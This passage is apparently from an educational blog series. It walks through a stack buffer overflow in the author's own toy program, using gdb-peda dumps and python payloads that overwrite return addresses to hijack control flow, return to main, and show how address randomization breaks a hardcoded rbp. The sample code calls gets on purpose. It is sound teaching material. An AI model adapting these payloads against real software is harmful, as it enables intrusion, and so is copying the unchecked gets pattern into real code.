    gdb-peda$ run < exploit.txt

  • This is known as Input Redirection. The stuff present in the file exploit.txt (Our exploit payload) is taken and given as input to code1.

  • This is the state of the process just before executing gets.

    [----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x7ffff7b042c0 (<__write_nocancel+7>:      cmp    rax,0xfffffffffffff001)
RDX: 0x7ffff7dd3780 --> 0x0
RSI: 0x602010 ("Before vuln_func: In main function\n")
RDI: 0x7fffffffd8b0 --> 0x0
RBP: 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>: push   r15)
RSP: 0x7fffffffd8b0 --> 0x0
RIP: 0x40058b (<vuln_func+20>:  call   0x400450 <gets@plt>)
R8 : 0x602000 --> 0x0
R9 : 0xd ('\r')
R10: 0x7ffff7dd1b78 --> 0x602410 --> 0x0
R11: 0x246
R12: 0x400470 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffd9b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x40057f <vuln_func+8>:      lea    rax,[rbp-0x10]
0x400583 <vuln_func+12>:     mov    rdi,rax
0x400586 <vuln_func+15>:     mov    eax,0x0
=> 0x40058b <vuln_func+20>:     call   0x400450 <gets@plt>
0x400590 <vuln_func+25>:     lea    rax,[rbp-0x10]   0x400594 <vuln_func+29>:     mov    rdi,rax
0x400597 <vuln_func+32>:     call   0x400430 <puts@plt>
0x40059c <vuln_func+37>:     nop
Guessed arguments:
arg[0]: 0x7fffffffd8b0 --> 0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8b0 --> 0x0
0008| 0x7fffffffd8b8 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0016| 0x7fffffffd8c0 --> 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:        push   r15)
0024| 0x7fffffffd8c8 --> 0x4005b7 (<main+24>:   mov    edi,0x400690)
0032| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
    
Breakpoint 1, 0x000000000040058b in vuln_func ()
gdb-peda$

  • Let us go ahead ahead and execute it.

    gdb-peda$ ni
        [----------------------------------registers-----------------------------------]
RAX: 0x7fffffffd8b0 ('a' <repeats 16 times>, "bbbbbbbbf\005@")
RBX: 0x0
RCX: 0x7ffff7dd18e0 --> 0xfbad2088
RDX: 0x7ffff7dd3790 --> 0x0
RSI: 0x602440 --> 0xa ('\n')
RDI: 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:      (bad))
RBP: 0x7fffffffd8c0 ("bbbbbbbbf\005@")
RSP: 0x7fffffffd8b0 ('a' <repeats 16 times>, "bbbbbbbbf\005@")
RIP: 0x400590 (<vuln_func+25>:  lea    rax,[rbp-0x10])
R8 : 0x602441 --> 0x0
R9 : 0x0
R10: 0x57 ('W')
R11: 0x246
R12: 0x400470 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffd9b0 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)[-------------------------------------code-------------------------------------]
0x400583 <vuln_func+12>:     mov    rdi,rax
0x400586 <vuln_func+15>:     mov    eax,0x0
0x40058b <vuln_func+20>:     call   0x400450 <gets@plt>
=> 0x400590 <vuln_func+25>:     lea    rax,[rbp-0x10]
0x400594 <vuln_func+29>:     mov    rdi,rax
0x400597 <vuln_func+32>:     call   0x400430 <puts@plt>
0x40059c <vuln_func+37>:     nop   0x40059d <vuln_func+38>:     leave
[------------------------------------stack-------------------------------------]0000| 0x7fffffffd8b0 ('a' <repeats 16 times>, "bbbbbbbbf\005@")
0008| 0x7fffffffd8b8 ("aaaaaaaabbbbbbbbf\005@")
0016| 0x7fffffffd8c0 ("bbbbbbbbf\005@")
0024| 0x7fffffffd8c8 --> 0x400566 (<exploit_func>:      push   rbp)
0032| 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:     (bad))
0040| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)0048| 0x7fffffffd8e0 --> 0x0
0056| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/p
ost_8/code1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0000000000400590 in vuln_func ()
gdb-peda$

  • Look at the stack. It is so beautiful with our exploit payload! Now, the stack is like this: (Make at note of this!)

    <buffer: 'a' * 16><Old Rbp: 'b' * 8><Target Address><Some number: 0x400500>

  • 0x7fffffffd8c8 has the address of exploit_func which is exactly what we wanted and expected.

  • Let us continue.

    gdb-peda$ continue

  • This is the state of the program:

    [-------------------------------------code-------------------------------------]
0x400561 <frame_dummy+33>:   jmp    0x4004e0 <register_tm_clones>
0x400566 <exploit_func>:     push   rbp
0x400567 <exploit_func+1>:   mov    rbp,rsp
=> 0x40056a <exploit_func+4>:   mov    edi,0x400658
0x40056f <exploit_func+9>:   call   0x400430 <puts@plt>
0x400574 <exploit_func+14>:  nop
0x400575 <exploit_func+15>:  pop    rbp
0x400576 <exploit_func+16>:  ret
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8c8 ("bbbbbbbb")
0008| 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:     (bad))
0016| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0024| 0x7fffffffd8e0 --> 0x0
0032| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
0040| 0x7fffffffd8f0 --> 0x100000000
0048| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
0056| 0x7fffffffd900 --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
    
Breakpoint 2, 0x000000000040056a in exploit_func ()
gdb-peda$

  • This looks like a normal function execution.

  • Let us break at ret of exploit_func. There is an observation to be made.

    gdb-peda$ b *0x400576
Breakpoint 3 at 0x400576
gdb-peda$

  • Let’s continue.

  • This is the state of the program just before ret is executed.

    [-------------------------------------code-------------------------------------]
0x40056f <exploit_func+9>:   call   0x400430 <puts@plt>
0x400574 <exploit_func+14>:  nop
0x400575 <exploit_func+15>:  pop    rbp
=> 0x400576 <exploit_func+16>:  ret   0x400577 <vuln_func>:        push   rbp
0x400578 <vuln_func+1>:      mov    rbp,rsp
0x40057b <vuln_func+4>:      sub    rsp,0x10
0x40057f <vuln_func+8>:      lea    rax,[rbp-0x10]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8d0 --> 0x400500 (<register_tm_clones+32>:     (bad))
0008| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
0016| 0x7fffffffd8e0 --> 0x0
0024| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/p
ost_8/code1")
0032| 0x7fffffffd8f0 --> 0x100000000
0040| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
0048| 0x7fffffffd900 --> 0x0
0056| 0x7fffffffd908 --> 0x59578f7a66976798
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
    
Breakpoint 3, 0x0000000000400576 in exploit_func ()
gdb-peda$

  • The ret is about to get executed. Look at the top of the stack. It has some address 0x400500 to which the control jumps. Let us go a bit back and see how the stack looked just after gets of vuln_func was executed.

    <buffer: 'a' * 16><Old Rbp: 'b' * 8><Target Address><Some number: 0x400500>

  • Notice this. We had full control over the Return Address of vuln_func. So, it was overwritten with our Target Address. The 8-bytes after that is this number 0x400500 which is turning out to be the Return Address of our exploit_func. This is a problem because we know that the program crashes if code at 0x400500 is executed.

  • So, do we have control over what the Return Address of exploit_func is? Absolutely.

  • The <some number: 0x400500></some> should be overwritten by the Address we want. That is easy. It will just add 8 more bytes into our exploit payload. Right now, our Exploit Payload is this:

    'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00'

  • This is changed to this:

    'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00' + <Some Return Address for exploit_func>

  • What would the ideal Return Address for exploit_func be such that our program doesn’t crash? How is this idea: Can we go back to the main function? As in, can the Return Address of exploit_func be the Original Return Address of vuln_func - which is actually an instruction in main function.

  • Let’s find out the Return Address of vuln_func . For that, let us look at disassembly of main :

    gdb-peda$ disass main
Dump of assembler code for function main:
0x000000000040059f <+0>:     push   rbp
0x00000000004005a0 <+1>:     mov    rbp,rsp
0x00000000004005a3 <+4>:     mov    edi,0x400668
0x00000000004005a8 <+9>:     call   0x400430 <puts@plt>
0x00000000004005ad <+14>:    mov    eax,0x0
0x00000000004005b2 <+19>:    call   0x400577 <vuln_func>
0x00000000004005b7 <+24>:    mov    edi,0x400690
0x00000000004005bc <+29>:    call   0x400430 <puts@plt>
0x00000000004005c1 <+34>:    mov    eax,0x0
0x00000000004005c6 <+39>:    pop    rbp
0x00000000004005c7 <+40>:    ret
End of assembler dump.
gdb-peda$

  • The Actual Return Address of vuln_func should be 0x00000000004005b7 <+24>: mov edi,0x400690. So, Original Return Address of vuln_func = 0x00000000004005b7.

  • Now that we have figured out how to make it more stealthier, let us write the exploit payload for this.

    python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'"

  • Always take care of Endianness while crafting exploit payloads. Simple mistake and the whole exploit might be of no use.

  • Let us come out of gdb and run the program with this exploit payload:

    ~/rev_eng_series/post_8$ python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'" | ./code1
Before vuln_func: In main function
aaaaaaaaaaaaaaaabbbbbbbbf@
In exploit_func
After vuln_func: In main function
Segmentation fault (core dumped)
adwi@adwi:~/rev_eng_series/post_8$

  • Woohoo!! Look at the output: After vuln_func: In main function . This means, the control was successfully transfered back to the main function.

  • This is a good progress, but we also were looking forward for the program not to crash. So, was there something we did not take care of?

Another step towards being stealth!

  1. Look at our payload:

    python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'"

  • The bbbbbbbb job is to overwrite the Old Rbp value of vuln_func. The Old Rbp value of vuln_func is the Actual rbp value of our main function.

  • So, after the control is transfered to main, the main thinks that bbbbbbbb is it’s rbp value. But that is obviously not the case. So, instead of bbbbbbbb if we put the actual rbp value of main, will we reach the goal of stealth? Let us see!

  1. For one last time, let us run the program using gdb and break at main:

    ~/rev_eng_series/post_8$ gdb -q code1
Reading symbols from code1...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x4005a3
gdb-peda$ run

  • This is the state:

        [----------------------------------registers-----------------------------------]
    RAX: 0x40059f (<main>:  push   rbp)
    RBX: 0x0
    RCX: 0x0
    RDX: 0x7fffffffd9c8 --> 0x7fffffffde0b ("XDG_VTNR=7")
    RSI: 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
    RDI: 0x1
    RBP: 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:    push   r15)
    RSP: 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:    push   r15)
    RIP: 0x4005a3 (<main+4>:        mov    edi,0x400668)
    R8 : 0x400640 (<__libc_csu_fini>:       repz ret)
    R9 : 0x7ffff7de7ab0 (<_dl_fini>:        push   rbp)
    R10: 0x846
    R11: 0x7ffff7a2d740 (<__libc_start_main>:       push   r14)R12: 0x400470 (<_start>:        xor    ebp,ebp)
    R13: 0x7fffffffd9b0 --> 0x1
    R14: 0x0
    R15: 0x0
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
    0x40059e <vuln_func+39>:     ret
    0x40059f <main>:     push   rbp
    0x4005a0 <main+1>:   mov    rbp,rsp
    => 0x4005a3 <main+4>:   mov    edi,0x400668
    0x4005a8 <main+9>:   call   0x400430 <puts@plt>
    0x4005ad <main+14>:  mov    eax,0x0
    0x4005b2 <main+19>:  call   0x400577 <vuln_func>
    0x4005b7 <main+24>:  mov    edi,0x400690
    [------------------------------------stack-------------------------------------]
    0000| 0x7fffffffd8d0 --> 0x4005d0 (<__libc_csu_init>:   push   r15)
    0008| 0x7fffffffd8d8 --> 0x7ffff7a2d830 (<__libc_start_main+240>:       mov    edi,eax)
    0016| 0x7fffffffd8e0 --> 0x0
    0024| 0x7fffffffd8e8 --> 0x7fffffffd9b8 --> 0x7fffffffdde4 ("/home/adwi/rev_eng_series/post_8/code1")
    0032| 0x7fffffffd8f0 --> 0x100000000
    0040| 0x7fffffffd8f8 --> 0x40059f (<main>:      push   rbp)
    0048| 0x7fffffffd900 --> 0x0
    0056| 0x7fffffffd908 --> 0x8dc74803e6d8796a
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    
    Breakpoint 1, 0x00000000004005a3 in main ()
    gdb-peda$

  • At this point, the StackFrame is just constructed. Let us look at the rbp register and get main function’s rbp value. It is 0x7fffffffd8d0. So, this is done. Let us exit from gdb and craft the right payload.

  1. Old Payload: (For reference)

    python -c "print 'a' * 16 + 'b' * 8 + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'"

  2. New Payload:

  • Instead of bbbbbbbb , we want to put the value 0x7fffffffd8d0.

  • Look at this:

    python -c "print 'a' * 16 + '\xd0\xd8\xff\xff\xff\x7f\x00\x00' + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'"

  • Again, keep in mind the endian-ness.

  1. Execute with new payload:

    ~/rev_eng_series/post_8$ python -c "print 'a' * 16 + '\xd0\xd8\xff\xff\xff\x7f\x00\x00' + '\x66\x05\x40\x00\x00\x00\x00\x00' + '\xb7\x05\x40\x00\x00\x00\x00\x00'" | ./code1Before vuln_func: In main function
aaaaaaaaaaaaaaaa�����
In exploit_func
After vuln_func: In main function
Segmentation fault (core dumped)
adwi@adwi:~/rev_eng_series/post_8$

  • Oh Damn! This was not expected.

  • So, again. Are we not taking care of everything?

Are we taking are of everything?

  1. Let us write a small program to confirm this:

    ~/rev_eng_series/post_8$ cat code2.c
#include<stdio.h>
int main() {
    
        int a = 10;
        printf("Address of a = %p\n", &a);
        return 0;
}
~/rev_eng_series/post_8$ gcc code2.c -o code2
  • It is a simple program. It initializes a variable a and prints it’s address.

  1. Let us execute it:

    ~/rev_eng_series/post_8$ ./code2
Address of a = 0x7ffc61bda0f4
~/rev_eng_series/post_8$
  • Note the Address of a .

  1. Let us execute it one more time:

    ~/rev_eng_series/post_8$ ./code2
Address of a = 0x7ffe3f32fa74
~/rev_eng_series/post_8$

  • See, the Address of a has changed. Why is that?

  • Any local variable at the assembly level is accessed with the help of rbp. You might have observed. Like this:

    dword [rbp-0x10]
    
or 
    
dword[rbp-0x20]
    
or something similar.

  • So, even a will be accessed in the same way. You can look at the disassembly and confirm this.

  • So, Address of a is changing everytime we run. Does this mean Value of rbp also changes everytime? Absolutely.

  • Actually it is the other way round. Because Value of rbp changes, Address of a is different.

  • So, this is what we were not taking care of in the exploit payload. We had set our rbp value to 0x7fffffffd8d0. But, we can see that this doesn’t work. It is changing everytime.

  1. What is this “effect”? Why is this happening? Is this something intended?
  • Yes. This is an intended effect. We have fallen for another classic Security Feature. It randomizes addresses so that we cannot predict it. So, writing exploits is harder now. Let us not discuss this security feature here. We will take it up in a different post and dig deeper.
  1. If you run the program with a debugger, you might not see this effect. The Operating System relaxes a little bit when in debugging mode. But this actually mislead us here - So, be careful!

Don’t be disheartened. We made a lot of progress today. Started with simply segfaulting to Hijacking Control Flow to execute exploit_func and later made it a bit more stealth by returning back to main function.

Summary:

  1. We did a lot of stuff today. Started with simple length-based exploit payloads which just produced SegFaults to beautiful exploit payloads which got some real work done in terms of evilness :P

  2. We saw one more flawed, Problematic function - gets. This doesn’t do length checking. We will look at many more functions in coming articles. For details about any of these functions, read their manpages.

  3. Let us summarize everything we have done till here:

a. Saw how to hijack control flow and execute what we want - exploit_func and then back to main.

b. We learned 2 ways of inputting Exploit payload into the program. We used python -c most of the times. We also stored the Payload in a file exploit.txt and then took input from it.

  • Sometimes, you will craft the Payload properly. Inputting will become a very big problem. This requires a bit of practice and playing around with terminal skills.

c. We also encountered another Security feature that randomized addresses. We will look at all security features in a separate single post.

d. Understood what Stealth is and how important it is.

  1. This is what we did today:

b. Normal Control Flow:

    main -----------> vuln_func 
      |                  |
      --------<-----------

a. Just SegFault:

    main -----------> vuln_func -----------> SegFault

b. Hijacking the Control Flow to execute exploit_func :

    main -----------> vuln_func ------------> exploit_func ----------> SegFault

c. Coming back to main function:

    main ------------> vuln_func ------------> exploit_func 
     | |                                             |
     |  --------------<-----------<------------------
     |
     ----------> SegFault
  • I hope with these diagrams, you are making more sense of what we did in this article.

Where do we go from here?

  1. We saw Control Flow Hijacking in good detail.

  2. There is one problem in what we did today. In reality, NO software(Eg: Web-Server) will obviously have functions like exploit_func . No honest developer would do that. This was an example taken to thoroughly understand Control Flow Hijacking. Does this mean, this is the end of Control Flow Hijacking? A big NO!.

  3. In the next article, we will look at one of the best methods to exploit a BOF and here, you can actually design the unintended behavior you want and write proper exploit to get it. It is know as Code Injection Exploit Method. This ruled or probably ruling the way exploits are written. This is a realistic method, which can be tried out on real systems. This is what we will be doing in the next article.

  4. We have encountered 2 Security Features so far. We will encounter one more next article. We will discuss everything about these Security Features in a separate post. The thought is this:

Vulnerabilities ——> Different Exploit Methods ——-> Security features to mitigate those exploits .

  • We are still exploring our first Security Vulnerability - Buffer OverFlow Vulnerability. With Vulnerability = BOF, we are in the second stage. We are exploring different methods to exploit it. After we discuss famous exploit methods, we will jump to third stage.

  • A vulnerable system is present. An attacker exploits it. Everyone will come to know and they will administer a security feature which will mitigate / not allow all such exploits. Then attackers will try to Bypass that security feature by finding a new exploit method. The cycle goes on.

  • We have chosen BOF. So, we will look at this cycle with respect to BOF. At the end of it, you will understand how legendary a vulnerability BOF is!

Conclusion

  1. Note for people using 32-bit systems: The concept is all the same. The lengths of exploits might be different. You will have to calculate it properly using gdb. The Addresses also will be different. You have to take care of the addresses. One important difference is arguments to a function. In 64-bit, registers are used for first 6 arguments but in 32-bit, it is all in the stack. So, if I have refered to any register here, look into the corresponding stack address in 32-bit. This is the reason why we discussed Function Calling Mechanisms in both 32-bit and 64-bit systems.

  2. The best way to understand all this and get a hang of this is to write your own programs using different vulnerable functions, write your own exploits and test it and have fun!

  3. This turned out to be one more long article. The point was to keep the whole Control Flow Hijacking example in 1 place. And it is a good thing to take one thing and explore it till you get some satisfaction :)

That is it for this article. I learned a lot writing this article. Hope you had fun and learned something out of this.

Thank you!

Go to next post: Exploitation using Code Injection - Part1
Go to previous post: Buffer Overflow Vulnerability - Part1